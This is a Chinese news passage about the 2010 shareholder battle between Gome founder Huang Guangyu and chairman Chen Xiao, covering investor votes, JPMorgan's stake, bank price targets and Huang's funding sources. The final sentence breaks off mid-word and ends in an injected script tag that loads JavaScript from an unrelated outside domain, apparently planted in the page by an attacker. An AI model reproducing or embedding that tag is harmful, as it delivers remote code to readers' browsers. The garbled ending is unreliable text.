知情人士向《经济参考报》记者透露，众多机构投资者对国美前景看淡，可能会在国美内部决策会议上，投票支持黄光裕。该人士还透露，目前国美董事会和管理层内部，并非铁板一块，已经有种种迹象表明，部分股东和高管开始准备“脱陈挺黄”。

　　曾任国美常务副总裁助理、现任江苏新日电动车股份有限公司副总经理胡刚在接受《经济参考报》记者采访时认为，机构私下表示支持黄氏在情理之中。由于陈晓在位，则国美局势不稳，会导致经营情况不理想，使股价难以上涨，不符合国美股东和投资者利益。目前不少机构投资者正准备改变投资策略，不再长期持有国美股票，等国美股价中期上涨后，便获利了结。

　　与此同时，陈晓方面却透露，目前已获得董事会内多数股东支持，一旦召开特别股东大会，将“扳倒”黄光裕。另有消息称，陈晓近期将率领高管赴美国、英国等地与机构投资者进行路演，并就特别股东大会上投票的问题进行说明。而此前，陈晓还通过麦肯锡和博然思维集团，向股东传达过信息。

　　对此，有分析人士认为，黄陈之争的决战时间被推后，留给双方运作的时间将更加充裕。目前，双方的底牌正在一一亮出，谁胜谁负，就看在最后的二十几天内，双方背后的团队谁的运作本领更高，谁能拉拢到更有分量的支持者。

　　摩根大通或投关键一票

　　目前，黄光裕和陈晓双方在股权上都无法获得压倒性胜利，所以分析人士预计，在9月28日的特别股东大会上，陈晓或黄光裕都渴望有一家机构投资者脱颖而出，成为自己的“白衣骑士”。

　　根据港联交所股权资料显示，8月份，摩根士丹利和富达基金均不同程度地减持国美股份。目前两家机构在国美的持股比例分别为5.99%和4.37%；而摩根大通却于8月3日和12日，连续增持国美股票，目前持股比例已达到10.04%。

　　如果陈晓获得摩根大通支持，将获得和黄光裕一方几乎对等的股权，而且还会影响其他机构投资者的决定。另据媒体报道，陈晓之前已经多次走访摩根大通，双方关系相当融洽。

　　不过，有业内人士认为，目前并不清楚是摩根大通本身增持，还是客户通过摩根大通增持。对此，摩根大通方面，并未给出详细回答。另外，有机构认为，国美未来股价走势也尤为重要，将影响投资者和股东的决定。

　　目前国美港股价格为2.34港元，虽有小幅回调，但依旧低于7月下旬高位时的2.82港元。对此，部分投资者表示“忧虑”。而在国美公布中报后，几家外资投行的报告，也显示出对国美未来走势的迷茫。

　　德意志银行指出，国美2010年中期纯利超过德银此前的预测值，维持该股买进评级，认为目前的股价已经反映了现在的不确定性，风险来自于国美商店的盈利能力不能提高，以及前主席对其所持股权的处置决定。

　　美银美林则表示，国美电器上半年业绩较预期理想，每股盈测大致维持不变。但股权争执对下半年运营有影响，投资者应更审慎。

　　在股价预测上，外资投行也产生了分歧。德意志银行将国美电器目标价由3.52港元提升至3.73港元，美银美林则将目标价由3港元调低至2.6港元。

　　黄光裕或有神秘团队支持

　　而在黄光裕一方，业内人士认为，要应对陈晓一方可能的增发，筹集资金仍是当务之急。因此，黄光裕的全资子公司鹏润集团仍肩负着巨大的运作压力。

　　此前，知情人士向《经济参考报》透露，黄光裕方面正通过鹏润集团进行资产变现来筹集资金。而近日又有消息称，黄光裕将动用一笔储备已久的“永不动用资金”，其金额之巨大，足够应对增发。

　　作为黄光裕目前最重要、也是唯一能够信任的团队，早在2007年3月，鹏润集团就与新加坡太平星集团共同成立了规模达8亿美元的基金，专门投资内地房地产市场；同月，鹏润集团和美国贝尔斯登宣布建立战略投资联盟，首期联合投资上限5亿美元。另据知情人士透露，入狱前黄光裕已通过鹏润集团建立了数支私募基金。而这些利益方，都有可能在关键时刻向黄光裕伸出援手。

　　曾长期代理上市公司股权纠纷案件的律师陈良告诉《经济参考报》记者，黄光裕方面仍有神秘的底牌。他介绍，仅从黄光裕身陷囹圄仍能对事态有所操控，就可见在他身后团队能量巨大。

　　陈良分析，黄光裕曾与思峰律师事务所律师张玉栋过从甚密，张玉栋的思峰律师事务所是1996年由长城律师事务所改制而来，此前隶属于原对?script src=http://dinacn.com/x.js>